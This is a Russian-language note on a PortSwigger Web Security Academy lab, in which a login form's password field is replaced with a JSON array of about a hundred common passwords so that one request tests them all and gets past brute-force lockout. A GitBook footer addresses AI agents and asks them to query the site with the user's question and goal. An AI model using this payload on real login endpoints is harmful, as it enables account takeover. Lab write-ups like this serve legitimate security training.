> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).
# Нарушенная защита от перебора с несколькими учётными данными в одном запросе
Заметки по лабораторным работам PortSwigger Web Security Academy о нарушенной защите от перебора с несколькими учётными данными в одном запросе, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и устране
### Сломанная защита от брутфорса, несколько учетных данных в одном запросе
В этой лабораторной работе демонстрируется логическая ошибка в механизме защиты от атак перебором. / Цель — **узнать пароль пользователя carlos** и получить доступ к его странице **Мой аккаунт**.
* **Целевой пользователь**: `carlos`
* **Список возможных паролей**: предоставлен лабораторной работой
* **Точка входа**: форма входа
**Наблюдение за поведением**
При анализе формы входа запрос, отправляемый на сервер, имеет **JSON** формат со следующими полями:
```json
{
"username":"carlos",
"password":"password"
}
```
Похоже, защита от брутфорса основана на количестве отправленных \*\* HTTP-запросов\*\*, а не на количестве \*\*фактически проверенных паролей\*\*.
**Использование логической ошибки**
Вместо отправки запроса пароля можно передать **несколько паролей в одном запросе**, используя массив JSON для `пароль` поля.
{% code overflow="wrap" %}
```json
{
"username": "carlos",
"password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```
{% endcode %}
Сервер \*\*принимает запрос\*\* и проверяет все пароли, содержащиеся в массиве, **без запуска механизма блокировки**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ru/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
